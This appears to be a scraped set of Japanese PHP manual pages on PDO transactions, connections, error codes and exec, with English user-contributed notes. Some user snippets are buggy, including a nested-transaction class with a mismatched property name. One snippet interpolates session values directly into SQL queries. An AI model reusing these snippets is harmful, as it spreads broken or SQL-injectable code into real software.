please fix in answer #116669:

    $this->exec('ROLLBACK TO trans'.$this->transactionCounter + 1);

with

    $this->exec('ROLLBACK TO trans'.($this->transactionCounter + 1));
steve at fancyguy dot com 08-Feb-2015 08:34
The nested transaction example here is great, but it's missing a key piece of the puzzle.  Commits will commit everything, I only wanted commits to actually commit when the outermost commit has been completed.  This can be done in InnoDB with savepoints.

<?php

class Database extends PDO
{

    protected $transactionCount = 0;

    public function beginTransaction()
    {
        if (!$this->transactionCounter++) {
            return parent::beginTransaction();
        }
        $this->exec('SAVEPOINT trans'.$this->transactionCounter);
        return $this->transactionCounter >= 0;
    }

    public function commit()
    {
        if (!--$this->transactionCounter) {
            return parent::commit();
        }
        return $this->transactionCounter >= 0;
    }

    public function rollback()
    {
        if (--$this->transactionCounter) {
            $this->exec('ROLLBACK TO trans'.$this->transactionCounter + 1);
            return true;
        }
        return parent::rollback();
    }

}
Steel Brain 03-Dec-2014 12:39
The example is misleading, Typically data definition language clauses (DDL) will trigger the database engine to automatically commit. It means that if you drop a table, that query will be executed regardless of the transaction.
Ref-Mysql:
    http://dev.mysql.com/doc/refman/5.0/en/implicit-commit.html
eddi13 28-Nov-2014 09:16
after TRUNCATE TABLE `table`  just as DELETE FROM `table`, so if whole table was deleted, aborts the transaction. And the rollback will not be passible.
arth dot inbox at mail dot ru 07-Apr-2014 08:53
Strange behavior with pdo_firebird driver:

<?php
$dbh = new PDO ('','','',array( PDO :: ATTR_PERSISTENT=>true));
$dbh->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION );
$dbh -> exec ( "select 1;" ); //should be autocommitted
try
{
   //$dbh->commit/rollback here fixes the issue;
   $dbh -> beginTransaction (); // <- fails "with there is already an active transaction"
   $dbh -> exec ( "select 1;" );
   $dbh -> commit ();
}
catch ( Exception $e )
{
  $dbh -> rollBack ();
 }
?>
mtjo62 at gmail dot com 03-Nov-2013 11:22
For the PDO driver for the  Firebird server, you have to explicitly disable autocommit to initiate the  transaction as well as explicitly enable autocommit to commit it.

$dbh->setAttribute( PDO::ATTR_AUTOCOMMIT, 0 );
$dbh->beginTransaction();

/** Query block */

$dbh->commit();
$dbh->setAttribute( PDO::ATTR_AUTOCOMMIT, 1 );
bitluni 16-Aug-2012 09:27
You can generate problems with nested beginTransaction and commit calls.
example:

beginTransaction()
do imprortant stuff
call method
    beginTransaction()
    basic stuff 1
    basic stuff 2
    commit()
do most important stuff
commit()

Won't work and is dangerous since you could close your transaction too early with the nested commit().

There is no need to mess you code and pass like a bool which indicate if transaction is already running. You could just overload the beginTransaction() and commit() in your PDO wrapper like this:

<?php
class Database extends \\PDO
{
    protected $transactionCounter = 0;
    function beginTransaction()
    {
        if(!$this->transactionCounter++)
            return parent::beginTransaction();
       return $this->transactionCounter >= 0;
    }

    function commit()
    {
       if(!--$this->transactionCounter)
           return parent::commit();
       return $this->transactionCounter >= 0;
    }

    function rollback()
    {
        if($this->transactionCounter >= 0)
        {
            $this->transactionCounter = 0;
            return parent::rollback();
        }
        $this->transactionCounter = 0;
        return false;
    }
//...
}
?>
ludwig dot green at gmail dot com 08-Jun-2010 09:23
be aware that you also can not use TRUNCATE TABLE as this statement will trigger a commit just like CREATE TABLE or DROP TABLE

it is best to only use SELECT, UPDATE and DELETE within a transaction, all other statements may cause commits thus breaking the atomicity of your transactions and their ability to rollback

obviously you can use DELETE FROM <table> instead of TRUNCATE TABLE but be aware that there are differences between both statements, for example TRUNCATE resets the auto_increment value while DELETE does not.
geompse at gmail dot com 28-Dec-2009 01:58
With Oracle, any structure statement will do an implicit commit.

So : ALTER TABLE "my_table" DROP COLUMN "my_column";
Can't be rolled back !

Hope this will save time for others
rjohnson at intepro dot us 11-Apr-2009 02:27
If you are using PDO::SQLITE and need to support a high level of concurrency with locking, try preparing your statements prior to calling beginTransaction() and you may also need to call closeCursor() on SELECT statements to prevent the driver from thinking that there are open transactions.

Here's an example (Windows, PHP version 5.2.8).  We test this by opening 2 browser tabs to this script and running them at the same time.  If we put the beginTransaction before the prepare, the second browser tab would hit the catch block and the commit would throw another PDOException indicating that transactions were still open.

<?php
$conn = new PDO('sqlite:C:\path\to\file.sqlite');
$stmt = $conn->prepare('INSERT INTO my_table(my_id, my_value) VALUES(?, ?)');
$waiting = true; // Set a loop condition to test for
while($waiting) {
    try {
        $conn->beginTransaction();
        for($i=0; $i < 10; $i++) {
            $stmt->bindValue(1, $i, PDO::PARAM_INT);
            $stmt->bindValue(2, 'TEST', PDO::PARAM_STR);
            $stmt->execute();
            sleep(1);
        }
        $conn->commit();
        $waiting = false;
    } catch(PDOException $e) {
        if(stripos($e->getMessage(), 'DATABASE IS LOCKED') !== false) {
            // This should be specific to SQLite, sleep for 0.25 seconds
            // and try again.  We do have to commit the open transaction first though
            $conn->commit();
            usleep(250000);
        } else {
            $conn->rollBack();
            throw $e;
        }
    }
}

?>
dbeecher at tekops dot com 20-Aug-2008 09:21
// If you need to set an ISOLATION level or LOCK MODE it needs to be done BEFORE you make the BeginTransaction() call...
//
//  **note** you should always check result codes on operations and do error handling.  This sample code
//  assumes all the calls work so that the order of operations is accurate and easy to see
//
//  THIS IS using the PECL PDO::INFORMIX module, running on fedora core 6, php 5.2.4
//
//    This is the correct way to address an informix -243 error (could not position within table) when there
//    is no ISAM error indicating a table corruption.  A -243 can happen (if the table/indexes, etc., are ok)
//    if a row is locked.  The code below sets the LOCK MODE to wait 2 minutes (120 seconds) before
//    giving up.  In this example you get READ COMMITTED rows, if you don't need read committed
//    but just need to get whatever data is there (ignoring locked rows, etc.) instead of
//    "SET LOCK MODE TO WAIT 120" you could "SET ISOLATION TO DIRTY READ".
//
//    In informix you *must* manage how you do reads because it is very easy to trigger a
//    lock table overflow (which downs the instance) if you have lots of rows, are using joins
//    and have many updates happening.
//

// e.g.,

$sql= "SELECT FIRST 50 * FROM mytable WHERE mystuff=1 ORDER BY myid";                    /* define SQL query */

try                                                                                /* create an exception handler */
    {
    $dbh = new PDO("informix:host=......");

    if ($dbh)    /* did we connect? */
        {
        $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $dbh->query("SET LOCK MODE TO WAIT 120")

        # ----------------
        # open transaction cursor
        # ----------------
        if    ( $dbh->beginTransaction() )                                         # explicitly open cursor
            {
            try    /* open exception handler */
                {
                $stmt = $dbh->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_SCROLL));

                $stmt->execute();

                while ($row = $stmt->fetch(PDO::FETCH_NUM, PDO::FETCH_ORI_NEXT))
                    {
                    $data = $row[0] . "\t" . $row[1] . "\t" . $row[2] . "\t" . $row[3] . "\t" . $row[4] . "\t" . $row[5] . "\t" . $row[6] . "\t" . $row[7] . "\n" . $row[8] ;
                    //print $data;
                    print_r($row);
                    };

                $stmt = null;
                }
            catch (PDOException $e)
                {
                print "Query Failed!\n\n";

                print "DBA FAIL:" . $e->getMessage();
                };

            $dbh->rollback();                                                       # abort any changes (ie. $dbh->commit()
            $dbh = null;                                                            # close connection
            }
        else
            {
            # we should never get here, it should go to the exception handler
            print "Unable to establish connection...\n\n";
            };
        };
    }
catch (Exception $e)
    {
    $dbh->rollback();
    echo "Failed: " . $e->getMessage();
    };
drm at melp dot nl 11-Feb-2008 06:37
In response to "Anonymous / 20-Dec-2007 03:04"

You could also extend the PDO class and hold a private flag to check if a transaction is already started.

class MyPDO extends PDO {
   protected $hasActiveTransaction = false;

   function beginTransaction () {
      if ( $this->hasActiveTransaction ) {
         return false;
      } else {
         $this->hasActiveTransaction = parent::beginTransaction ();
         return $this->hasActiveTransaction;
      }
   }

   function commit () {
      parent::commit ();
      $this->hasActiveTransaction = false;
   }

   function rollback () {
      parent::rollback ();
      $this->hasActiveTransaction = false;
   }

}
Anonymous 20-Dec-2007 07:04
beginTransaction will through a PDOException if you execute it while a PDO transaction is already active.  Additionally the PDO engine doesn't seem to provide any way of determining if there is a transaction "in flight" so if you might be calling a function from within another function that starts a transaction you'll have to wrap the beginTransaction () call in a try .. catch block.


トランザクションをコミットする

  • ≪ PDO::beginTransaction
  • PDO::__construct ≫
  • PHP Manual
  • PDO
  • トランザクションをコミットする

PDO::commit

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.1.0)

PDO::commit — トランザクションをコミットする

説明

public PDO::commit ( ) : bool

トランザクションをコミットし、 次に PDO::beginTransaction() で新たなトランザクションが開始されるまで、 データベース接続をオートコミットモードに戻します。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

有効なトランザクションがない場合に PDOException をスローします。

注意: 例外は、PDO::ATTR_ERRMODE 属性が PDO::ERRMODE_EXCEPTION ではない場合でも発生します。

例

例1 基本的なトランザクションをコミットする

<?php
/* トランザクションを開始する。オートコミットがオフになる */
$dbh->beginTransaction();

/* 複数レコードを追加する。全部成功か全部失敗のどちらかになる */
$sql = 'INSERT INTO fruit
    (name, colour, calories)
    VALUES (?, ?, ?)';

$sth = $dbh->prepare($sql);

foreach ($fruits as $fruit) {
    $sth->execute(array(
        $fruit->name,
        $fruit->colour,
        $fruit->calories,
    ));
}

/* 変更をコミットする */
$dbh->commit();

/* データベース接続はオートコミットモードに戻る */
?>

例2 DDL トランザクションをコミットする

<?php
/* トランザクションを開始する。オートコミットがオフになる */
$dbh->beginTransaction();

/* データベーススキーマを変更する */
$sth = $dbh->exec("DROP TABLE fruit");

/* 変更をコミットする */
$dbh->commit();

/* データベース接続はオートコミットモードに戻る */
?>

注意: DDL 文の操作にトランザクションが使えないデータベースもあります。 単にエラーになるだけのものもあれば、(MySQL などのように) DDL 文が実行された時点で自動的にトランザクションをコミットしてしまうものもあります。

参考

  • PDO::beginTransaction() - トランザクションを開始する
  • PDO::rollBack() - トランザクションをロールバックする
  • トランザクションおよび自動コミット

User Contributed Notes

re_action 03-Mar-2015 12:52
Keep in mind this bug: https://bugs.php.net/bug.php?id=66528

you could not rely on commit() return value while using MySql


データベースへの接続を表す PDO インスタンスを生成する

  • ≪ PDO::commit
  • PDO::errorCode ≫
  • PHP Manual
  • PDO
  • データベースへの接続を表す PDO インスタンスを生成する

PDO::__construct

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.1.0)

PDO::__construct — データベースへの接続を表す PDO インスタンスを生成する

説明

public PDO::__construct ( string $dsn , string $username = ? , string $passwd = ? , array $options = ? )

指定されたデータベースへの接続を表す PDO インスタンスを生成します。

パラメータ

dsn

データソース名(Data Source Name)またはDSN。データベースに接続するために 必要な情報が含まれます。

一般に、DSNはPDOドライバ名の後にコロンが続き、 各PDOドライバに固有の接続構文が続きます。より多くの情報は PDO driver-specific documentation にあります。

dsn パラメータは、データベースへの接続を生成する ために必要な引数を指定する方法として、3種類の方法をサポートします。

ドライバ呼び出し

dsn に完全な DSN を指定します。

URI 呼び出し

dsn は、uri: の後に DSN 文字列を含むファイルの位置を定義する URI が続く形式となります。 この URI には、ローカルファイルまたはリモート URL を指定することができます。

uri:file:///path/to/dsnfile

エイリアス

dsn は、DSN 文字列を定義する php.ini の pdo.dsn.name へマップする名前 name からなります。

注意:

エイリアスは、.htaccess や httpd.conf ではなく、 php.ini で定義する必要があります。

username

DSN 文字列のユーザー名。このパラメータは、いくつかの PDO ドライバではオプションです。

passwd

パスワード。DSN 文字列で必要とされる場合に指定。

options

ドライバ固有の接続オプションを指定するキー=> 値の配列。

返り値

成功時に PDO オブジェクトを返します。

エラー / 例外

PDO::__construct() は、 指定されたデータベースへの接続に失敗した場合、 PDO::ATTR_ERRMODE が設定されているかどうかに関わらず、 PDOException を投げます。

例

例1 ドライバ呼び出しにより PDO インスタンスを生成する

<?php
/* ドライバ呼び出しを使用して MySQL データベースに接続する */
$dsn = 'mysql:dbname=testdb;host=127.0.0.1';
$user = 'dbuser';
$password = 'dbpass';

$dbh = new PDO($dsn, $user, $password);

?>

例2 URI 呼び出しにより PDO インスタンスを生成する

以下の例では、ファイル /usr/local/dbconnect が存在し、 PHP がこのファイルを読み込む権限を有していることを仮定します。 このファイルには、 PDO_ODBC により DB2 データベースに接続するための PDO DSN が含まれています。

odbc:DSN=SAMPLE;UID=john;PWD=mypass

これにより、PHP スクリプトでは、単に uri: パラメータを渡し、 ファイルの URI を示すだけでデータベース接続を作成することができるようになります。

<?php
/* ドライバ呼び出しを使用して ODBC データベースに接続する */
$dsn = 'uri:file:///usr/local/dbconnect';
$user = '';
$password = '';

$dbh = new PDO($dsn, $user, $password);

?>

例3 エイリアスにより PDO インスタンスを生成する

以下の例では、php.ini にエイリアス mydb のみで MySQL データベースに接続できるようにするための以下のエントリが含まれることを 仮定します。

[PDO]
pdo.dsn.mydb="mysql:dbname=testdb;host=localhost"
<?php
/* エイリアスを使用して ODBC データベースに接続する */
$dsn = 'mydb';
$user = '';
$password = '';

$dbh = new PDO($dsn, $user, $password);

?>

User Contributed Notes

Aymeric S 20-Aug-2020 01:34
When trying to connect to a local database, it seems "uri:file:///" is no longer needed. Just write the PDO pilot name followed by the absolute path of the file.
Example : sqlite:C:\VirtualHosts\phpliteadmin\dbs\surveillance_logeas.s3DB
Francesco Montanari 27-Apr-2020 08:16
Most of the information in the comment here is outdated or wrong.

You do can use host=localhost to connect via socket, which is faster than TCP, so setting 127.0.0.1 is a performance loss.

To use proper utf you should use utf8mb4, for example:

$db = new PDO('mysql:host=' . DATABASE_HOST . ';dbname='. DATABASE_NAME .';charset=utf8mb4', DATABASE_USER, DATABASE_PASSWORD);
srycroft at excelsystems dot com 15-Jul-2016 05:37
For IBM i / iSeries / AS400 DB2 connections, you can specify system naming and library lists for php_pdo modules > 1.3.3-sg2

<?php
   $pdo = new PDO(
     'ibm:' . $host,
     $user,
     $password,
     array(
       PDO::I5_ATTR_DBC_SYS_NAMING => true,
       PDO::I5_ATTR_DBC_LIBL => "QGPL QSYS"
     )
   );
?>

See http://yips.idevcloud.com/wiki/index.php/XMLSERVICE/PHPPDOChangeLog
olivernybroe at gmail dot com 16-Apr-2016 09:05
The PDO connection is case-sensitive, this means that you cannot write
`$PDO = new PDO("MySQL:DBName=dbname;host=localhost");`
You would have to write it
`$PDO = new PDO("mysql:dbname=dbname;host=localhost");`

The difference here is that `mysql` and `dbname` is with all lower-case.

Some IDE's like PHPStorm will show a `TYPO ERROR`, at `dbname` if it's written with lower-case only, this is just to be ignored and have been reported to PHPStorm for them to fix. (Currrent version 10.0.2)
ohcc at 163 dot com 23-Nov-2015 05:37
You will get a fatal error if you don't catch the exception threw by PDO when it fails to connect to the database server like this.

Fatal error: in xxx.php on line xx

This error neither can be handled by error handlers nor can it be erased by the @ sign, which can make your script uncontrollable.

<?php
    $db = new pdo('mysql:host=127.0.0.1;port=3306;dbname=mysql;charset=utf8','user','password',array(
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    ));
?>

You should always try ... catch ...

<?php
    try{
    $db = new pdo('mysql:host=127.0.0.1;port=3306;dbname=mysql;charset=utf8','user','password',array(
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
    ));
    }catch(PDOException $pe){
        echo $pe->getMessage();
    }
?>
daviddlavier at gmail dot com 09-Nov-2015 12:43
I'd like to point out that in PHP 7.0 in the dsn parameter you can't use 'host=localhost' to solve this you can use 'host=127.0.0.1' instead.
berk0081 at umn dot edu 16-Nov-2014 01:34
Although not explicitly stated, parameters in the PDO $dsn string may be case-sensitive on some platforms or drivers.

<?php
// The dbname will not be parsed with incorrect casing:
$pdo = new PDO("mysql:host=hostname;DBName=database", "user", "password");

// The correct dbname is lowercase, as displayed in the manual:
$pdo = new PDO("mysql:host=hostname;dbname=database", "user", "password");
?>
Kiipa at live dot com 19-Oct-2013 06:46
To get UTF-8 charset you can specify that in the DSN.

$link = new PDO("mysql:host=localhost;dbname=DB;charset=UTF8");
Anonymous 29-May-2013 05:30
Sqlite:

<?php
try{
    $pdo = new PDO('sqlite:example.db');
}catch (PDOException $e){
     die ('DB Error');
}
?>

If 'example.db' does not exist, no exception is thrown but the file 'example.db' is created.
piotrekkr at o2 dot pl 15-Sep-2010 12:19
To connect throught unix socket you need to use
<?php
$dsn = 'mysql:dbname=testdb;unix_socket=/path/to/socket';
?>

You musn't specify host when using socket.
Victor T. 20-Feb-2010 09:34
If you use the UTF-8 encoding, you have to use the fourth parameter :

<?php
$db = new PDO('mysql:host=myhost;dbname=mydb', 'login', 'password', array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES \'UTF8\''));
?>
subme at interia dot pl 25-Nov-2008 02:03
To specify a database connection port use the following DSN string

<?php
$dsn = 'mysql:dbname=testdb;host=127.0.0.1;port=3333';
?>


データベースハンドラにおける直近の操作に関連する SQLSTATE を取得する

  • ≪ PDO::__construct
  • PDO::errorInfo ≫
  • PHP Manual
  • PDO
  • データベースハンドラにおける直近の操作に関連する SQLSTATE を取得する

PDO::errorCode

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.1.0)

PDO::errorCode — データベースハンドラにおける直近の操作に関連する SQLSTATE を取得する

説明

public PDO::errorCode ( ) : string

返り値

SQLSTATE を返します。これは、ANSI SQL-92 標準で定義された英数 5 文字の ID です。簡潔に言えば、SQLSTATE は 2文字のクラス値の後に 3 文字のサブクラス値が続きます。クラス値 01 はワーニングを表し、 戻り値のコード SQL_SUCCESS_WITH_INFO を伴います。 クラス 'IM' を除く '01' 以外のクラス値はエラーを表します。 クラス 'IM' は PDO 自身の実装 (もしくは ODBC ドライバを使用している場合は ODBC かも知れません) に由来するワーニングやエラーに固有の値です。 あらゆるクラスでのサブクラス値 '000' は SQLSTATE に対するサブクラスがない事を示しています。

PDO::errorCode() はデータベースハンドラに 直接行った操作に対するエラーコードのみを取得します。 もし PDO::prepare() や PDO::query() を通して PDOStatement オブジェクトを生成し、 文でエラーが発生した場合、PDO::errorCode() はエラーを反映しません。 特定の文ハンドラに対して実行された操作についてのエラーコードを返すには PDOStatement::errorCode() をコールしなければなりません。

そのデータベースハンドル上で何も操作が行われていない場合は null を返します。

例

例1 SQLSTATE コードを取得する

<?php
/* エラーを発生させる -- BONES テーブルは存在しない */
$dbh->exec("INSERT INTO bones(skull) VALUES ('lucy')");

echo "\nPDO::errorCode(): ", $dbh->errorCode();
?>

上の例の出力は以下となります。

PDO::errorCode(): 42S02

参考

  • PDO::errorInfo() - データベースハンドラにおける直近の操作に関連する拡張エラー情報を取得する
  • PDOStatement::errorCode() - 文ハンドラにおける直近の操作に関連する SQLSTATE を取得する
  • PDOStatement::errorInfo() - 文ハンドラにおける直近の操作に関連する拡張エラー情報を取得する

User Contributed Notes

runrioter at gmail dot com 14-Dec-2014 03:51
This reading says that "Returns NULL if no operation has been run on the database handle".

When I tested it based on pdo-mysql, I got 00000, not NULL!
Matthias Leuffen 04-Dec-2005 04:36
Hi,

List containing all SQL-92 SQLSTATE Return Codes:
http://www.unix.org.ua/orelly/java-ent/jenut/ch08_06.htm

Use the following Code to let PDO throw Exceptions (PDOException) on Error.

<?PHP
$pdo = new PDO (whatever);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
try {
    $pdo->exec ("QUERY WITH SYNTAX ERROR");
} catch (PDOException $e) {
    if ($e->getCode() == '2A000')
        echo "Syntax Error: ".$e->getMessage();
}
?>

Bye,
  Matthias


データベースハンドラにおける直近の操作に関連する拡張エラー情報を取得する

  • ≪ PDO::errorCode
  • PDO::exec ≫
  • PHP Manual
  • PDO
  • データベースハンドラにおける直近の操作に関連する拡張エラー情報を取得する

PDO::errorInfo

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.1.0)

PDO::errorInfo — データベースハンドラにおける直近の操作に関連する拡張エラー情報を取得する

説明

public PDO::errorInfo ( ) : array

返り値

PDO::errorInfo() は、 このデータベースハンドラによって実行された直近の操作に関するエラー情報を 配列として返します。この配列は少なくとも次のフィールドを含みます。

要素 | 情報
0 | SQLSTATE エラーコード (これは、ANSI SQL 標準で定義された英数 5 文字の ID)
1 | ドライバ固有のエラーコード
2 | ドライバ固有のエラーメッセージ

注意:

SQLSTATE エラーコードが設定されていない場合やドライバ固有のエラーがない場合は、 要素 0 に続く要素は null となります。

PDO::errorInfo() はデータベースハンドラに 直接行った操作に対するエラーコードのみを取得します。 もし PDO::prepare() や PDO::query() を通して PDOStatement オブジェクトを生成し、 文でエラーが発生した場合、PDO::errorInfo() はそのエラーを反映しません。 特定の文ハンドラに対して実行された操作についてのエラーコードを返すには PDOStatement::errorInfo() をコールしなければなりません。

例

例1 DB2 データベースに対する PDO_ODBC 接続の errorInfo() フィールドを表示する

<?php
/* エラーを発生させる -- 無効な SQL シンタックス */
$stmt = $dbh->prepare('bogus sql');
if (!$stmt) {
    echo "\nPDO::errorInfo():\n";
    print_r($dbh->errorInfo());
}
?>

上の例の出力は以下となります。

PDO::errorInfo():
Array
(
    [0] => HY000
    [1] => 1
    [2] => near "bogus": syntax error
)

参考

  • PDO::errorCode() - データベースハンドラにおける直近の操作に関連する SQLSTATE を取得する
  • PDOStatement::errorCode() - 文ハンドラにおける直近の操作に関連する SQLSTATE を取得する
  • PDOStatement::errorInfo() - 文ハンドラにおける直近の操作に関連する拡張エラー情報を取得する

User Contributed Notes

pere dot pasqual at gmail dot com 11-Jun-2015 03:13
I don't know why mazen at mindcraftinc dot com is getting that amount of negative votes: in my case, I've constated that with odbc_driver and an Access database, this method is returning ONE extra field appart from what is stated in this manual.
More precisely, if using the PDO odbc_pdo driver with an Access database, in a fourth array element I'm getting the ODBC Status Return Code.
alagar86 at gmail dot com 09-Jan-2011 01:29
Please note : that this example won't work if PDO::ATTR_EMULATE_PREPARES is true.

You should set it to false

<?php
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES,false);
$stmt = $dbh->prepare('bogus sql');
if (!$stmt) {
    echo "\nPDO::errorInfo():\n";
    print_r($dbh->errorInfo());
}
?>
mazen at mindcraftinc dot com 23-Sep-2008 11:43
Some PDO drivers return a larger array. For example, the SQL Server driver returns 5 values.

For example:
<?php
$numRows = $db->exec("DELETE FROM [TableName] WHERE ID between 6 and 17");
print_r($db->errorInfo());
?>

Result:

Array
(
    [0] => 00000
    [1] => 0
    [2] => (null) [0] (severity 0) []
    [3] => 0
    [4] => 0
)
quickshiftin at gmail dot com 02-Jun-2007 08:29
here are the error codes for sqlite, straight from their site:

The error codes for SQLite version 3 are unchanged from version 2. They are as follows:
#define SQLITE_OK           0   /* Successful result */
#define SQLITE_ERROR        1   /* SQL error or missing database */
#define SQLITE_INTERNAL     2   /* An internal logic error in SQLite */
#define SQLITE_PERM         3   /* Access permission denied */
#define SQLITE_ABORT        4   /* Callback routine requested an abort */
#define SQLITE_BUSY         5   /* The database file is locked */
#define SQLITE_LOCKED       6   /* A table in the database is locked */
#define SQLITE_NOMEM        7   /* A malloc() failed */
#define SQLITE_READONLY     8   /* Attempt to write a readonly database */
#define SQLITE_INTERRUPT    9   /* Operation terminated by sqlite_interrupt() */
#define SQLITE_IOERR       10   /* Some kind of disk I/O error occurred */
#define SQLITE_CORRUPT     11   /* The database disk image is malformed */
#define SQLITE_NOTFOUND    12   /* (Internal Only) Table or record not found */
#define SQLITE_FULL        13   /* Insertion failed because database is full */
#define SQLITE_CANTOPEN    14   /* Unable to open the database file */
#define SQLITE_PROTOCOL    15   /* Database lock protocol error */
#define SQLITE_EMPTY       16   /* (Internal Only) Database table is empty */
#define SQLITE_SCHEMA      17   /* The database schema changed */
#define SQLITE_TOOBIG      18   /* Too much data for one row of a table */
#define SQLITE_CONSTRAINT  19   /* Abort due to contraint violation */
#define SQLITE_MISMATCH    20   /* Data type mismatch */
#define SQLITE_MISUSE      21   /* Library used incorrectly */
#define SQLITE_NOLFS       22   /* Uses OS features not supported on host */
#define SQLITE_AUTH        23   /* Authorization denied */
#define SQLITE_ROW         100  /* sqlite_step() has another row ready */
#define SQLITE_DONE        101  /* sqlite_step() has finished executing */


SQL ステートメントを実行し、作用した行数を返す

  • ≪ PDO::errorInfo
  • PDO::getAttribute ≫
  • PHP Manual
  • PDO
  • SQL ステートメントを実行し、作用した行数を返す

PDO::exec

(PHP 5 >= 5.1.0, PHP 7, PECL pdo >= 0.1.0)

PDO::exec — SQL ステートメントを実行し、作用した行数を返す

説明

public PDO::exec ( string $statement ) : int

PDO::exec() は、一度の関数コールで SQL 文を実行し、文によって作用した行数を返します。

PDO::exec() は SELECT 文からは結果を返しません。 プログラム中で一度だけ発行が必要になる SELECT 文に対しては、 PDO::query() の発行を検討してください。 複数回発行が必要な文については、PDO::prepare() による PDOStatement オブジェクトの準備と PDOStatement::execute() による文の発行を行ってください。

パラメータ

statement

準備、実行する SQL ステートメントを指定します。

クエリ内のデータは 適切にエスケープ する必要があります。

返り値

PDO::exec() は、発行した SQL ステートメントによって更新もしくは 削除された行数を返します。 1 行も作用しなかった場合、PDO::exec() は 0 を返します。

警告

この関数は論理値 false を返す可能性がありますが、false として評価される値を返す可能性もあります。 詳細については 論理値の セクションを参照してください。この関数の返り値を調べるには ===演算子 を 使用してください。

以下の例は PDO::exec() の戻り値の使用法を間違っています。結果として一行も更新されなかった場合に die() がコールされてしまうからです。

<?php
$db->exec() or die(print_r($db->errorInfo(), true)); // 間違っている
?>

例

例1 DELETE 文の発行

WHERE 句を伴う DELETE 文によって削除された行数をカウントします。

<?php
$dbh = new PDO('odbc:sample', 'db2inst1', 'ibmdb2');

/* FRUIT テーブルから全ての行を削除する */
$count = $dbh->exec("DELETE FROM fruit");

/* 削除された行数を返す */
print("Deleted $count rows.\n");
?>

上の例の出力は以下となります。

Deleted 1 rows.

参考

  • PDO::prepare() - 文を実行する準備を行い、文オブジェクトを返す
  • PDO::query() - SQL ステートメントを実行し、結果セットを PDOStatement オブジェクトとして返す
  • PDOStatement::execute() - プリペアドステートメントを実行する

User Contributed Notes

calin at NOSPAM dot softped dot com 16-Oct-2015 11:20
PDO::eval() might return `false` for some statements (e.g. CREATE TABLE) even if the operation completed successfully, when using PDO_DBLIB and FreeTDS. So it is not a reliable way of testing the op status.

PDO::errorInfo() can be used to test the SQLSTATE error code for '00000' (success) and '01000' (success with warning).

<?php
function execute(PDO $conn, $sql) {
    $affected = $conn->exec($sql);
    if ($affected === false) {
        $err = $conn->errorInfo();
        if ($err[0] === '00000' || $err[0] === '01000') {
            return true;
        }
    }
    return $affected;
}
?>

PDO::errorInfo(): http://php.net/manual/en/pdo.errorinfo.php
List of SQLSTATE Codes: http://www-01.ibm.com/support/knowledgecenter/SSGU8G_11.70.0/com.ibm.sqls.doc/ids_sqs_0809.htm
hungry dot rahly at gmail dot com 10-Nov-2010 05:24
For those that want an exec that handles params like prepare/execute does.  You can simulate this with another function

<?php
class Real_PDO extends PDO {
  public function execParams($sql, $params) {
    $stm = $this->prepare($sql);
    $result = false;
    if( $stm && $stm->execute($params) ) {
      $result = $stm->rowCount();
      while( $stm->fetch(PDO::FETCH_ASSOC) ) {
      }
    }
    return $result;
  }
}
?>

Remember though, if you are doing a lot of inserts, you'll want to do it the manual way, as the prepare statement will speed up when doing multiple executes(inserts).  I use this so I can place all my SQL statements in one place, and have auto safe quoting against sql-injections.

If you are wondering about the fetch after, remember some databases can return data SELECT-like data from REMOVE/INSERTS.  In the case of PostgreSQL, you can have it return you all records that were actually removed, or have the insert return the records after the insert/post field functions, and io trigger fire, to give you normalized data.

<?php
define("BLAH_INSERT", "INSERT INTO blah (id,data) VALUES(?,?)");
$pdo = new Real_PDO("connect string");
$data = array("1", "2");
$pdo->execParams(BLAH_INSERT, $data);
?>
Anonymous 01-Sep-2010 08:37
I spent half a day trying to work out why I could not update my sqlite3 database from apache using the PHP PDO driver. I was getting NO error messages at all.

I could connect and select data, but not modify it.

It wasn't until I added the following line:

$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING);

after immediately opening the database, that I got a hint of what was happening.

filename: File3
dl_count: 100

( ! ) Warning: PDO::exec() [pdo.exec.html]: SQLSTATE[HY000]: General error: 8 attempt to write a readonly database in /www/htdocs/test/dl-counter/sqlite-readwrite-test.php on line 76
Call Stack
#
Time
Memory
Function
Location
1  0.0086  330120  {main}( )  ../sqlite-readwrite-test.php:0
  2  0.0273  331240  PDO->exec( )  ../sqlite-readwrite-test.php:76

 Affected Rows: ''

filename: File3
dl_count: 100

The problem was with the file permissions. As root I could read and write the database from the sqlite3 command line monitor. But Apache was unable to write the database.

Changed the permissions to 755 wwwrun:wwrun and it all works OK!

Thanks again :)
blah at whatevr dot com 05-Sep-2007 08:07
You can't use it not only with SELECT statement, but any statement that might return rows. "OPTIMIZE table" is such example (returns some rows with optimization status).

If you do, PDO will lock-up with the "Cannot execute queries while other unbuffered queries are active." nonsense.
jon at chem dot umass dot edu 10-May-2007 02:12
If you do this:

<?php
$res = $dbh->query("SELECT * FROM sessions                        WHERE session_id = '$p_sessID'");

$l_records = $res->fetch(PDO::FETCH_ASSOC);

if( $l_records ) {
   // ...update session-data
   $l_theQuery = "UPDATE sessions SET session_expires='$newExp', session_data='$p_sessData' WHERE session_id='$p_sessID'";
   echo $l_theQuery;
   $l_stmt = $this->db->prepare($l_theQuery);

   if ( $l_stmt ) {
      $l_rows = $l_stmt->execute();
   }
}
?>

You will get nothing.

But do this:

<?php
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING);
?>

Prior to the code above, you will get this:

"PDO::prepare(): SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active. Consider using PDOStatement::fetchAll(). Alternatively, if your code is only ever going to run against mysql, you may enable query buffering by setting the PDO::MYSQL_ATTR_USE_BUFFERED_QUERY attribute."

So, instead of fetch(), use fetchAll(), it will make you less insane.

